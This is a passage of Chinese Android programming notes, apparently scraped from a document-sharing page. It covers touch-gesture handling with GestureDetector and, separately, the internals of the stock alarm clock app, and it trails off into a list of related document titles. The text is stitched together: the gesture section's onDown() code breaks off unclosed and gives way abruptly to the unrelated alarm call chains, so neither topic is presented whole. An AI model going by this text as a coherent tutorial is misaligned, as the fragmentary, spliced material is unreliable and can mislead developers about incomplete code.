接着,我们知道Android的事件处理机制是基于Listener(监听器)来实现的,比如我们今天所说的触摸屏相关的事件,就是通过onTouchListener。因此,我们在源代码中要实现这个接口。另外,我们还要实现OnGestureListener接口,因为,那个手势的识别是通过GestureDetector.OnGestureListener接口来实现的。其中,onTouchEvent方法则是实现了OnTouchListener中的抽象方法,我们只要在这里添加逻辑代码即可在用户触摸屏幕时做出响应。在这里我们调用GestureDetector的onTouchEvent()方法,将捕捉到的MotionEvent交给GestureDetector 来分析是否有合适的callback函数来处理用户的手势。接下来,就是实现了以下6个抽象方法,其中最有用的当然是onFling()、onScroll()和onLongPress()了。下面介绍一下: (1)用户轻触触摸屏,由1个MotionEvent ACTION_DOWN触发,其源代码如下: public boolean onDown(MotionEvent e) { return false; 设置一个Alarm需要更新一下数据。 1. update alarms.db 2. update com.android.alarmclock_preferences.xml 3. update Settings.System.NEXT_ALARM_FORMATTED for status bar 4. set Kernel RTC alarm or send a message if no driver 具体的函数调用如下所示: com.android.alarmclock.AlarmClock.onCreate() -> SetAlarm.onPreferenceTreeClick() -> SetAlarm.saveAlarm() -> Alarm.setAlarm() -> Alarm.setNextAlert() -> Alarm.enableAlert(ALARM_ALERT_ACTION)/saveNextAlarm(Settings.System.NEXT _ALARM_FORMATTED) -> android.app.AlarmManager.set() -> AlarmManagerService.set() -> AlarmManagerService.setRepeating -> AlarmManagerService.setLocked() -> android.app.IAlarmManager.set() -> RTC.save()// /dev/alarms Alarm闹铃的函数调用如下所示: RTC (WAKEUP) -> AlarmReceiver.onReceive(ALARM_ALERT_ACTION) -> AlarmAlert.onCreate() -> AlarmAlertWakeLock.acquire()/KeyguardManager.newKeyguardLock().disableKeyg uard() -> AlarmKlaxon.postPlay() -> AlarmKlaxon.KillerCallback().onKilled() -> AlarmAlert.dismiss() -> AlarmAlertWakeLock.release()/KeyguardManager.newKeyguardLock().reenableKey guard() DeskClock App中的code block说明如下: Alarm是描述闹钟的抽象类。 AlarmAlert处理闹铃过程中系统相关的事件,继承AlarmAlertFullScreen。AlarmAlertFullScreen显示闹铃界面,并处理闹钟界面上到控件消息。AlarmAlertWakeLock提供控制wakelock接口。 AlarmClock闹钟界面,包括闹钟列表、数字时钟、option菜单。 AlarmKlaxon是一个服务,提供闹铃和震动功能,如果一个闹铃fire,前面一个闹铃已经在闹来,则取消前面那个,闹后来者。 AlarmPreference闹铃文件。 ContentProvider维护闹钟表,字段包括_id、hour、minutes、daysofweek、alarmtime、enabled、vibrate、message、alert。 Alarms提供了操作闹钟的接口,相当于AlarmManager。enableAlert()设置一个闹钟,用的是PendingIntent到方式计算时间。RTC的设置在enableAlert()的am.set(AlarmManager.RTC_WAKEUP, atTimeInMillis, sender); RTC_WAKEUP表示该Alarm如果在关机的情况下来到,则会自动开机闹铃。 DeskClock桌面时钟到activity。其中包括了系统时间、日期、电池及天气等信息,其中天气信息是判断是否存在提供天气信息的app后,从数据库中读取当前的天气信息来更新。也就基于android的简单记事本的设计大学论文
Android开发者学习笔记——View、Canvas、bitmap
android日记本代码
新版Android开发教程+笔记七--基础UI编程1
基于android平台的记事本研究与开发 开题报告
基于Android手机平台的记事本设计课程设计
android开发笔记
基于 android平台记事本的设计与实现毕业设计
android手机测试总结(笔记)
android开发学习笔记
基于android个人记账本的设计与开发
安卓开发学习笔记
Android智能电视APP开发笔记(一)
基于Android日历及记事功能完整实现
第一行代码Android学习笔记完全版
基于Android的简单记事本
android学习笔记
Android Alarm学习笔记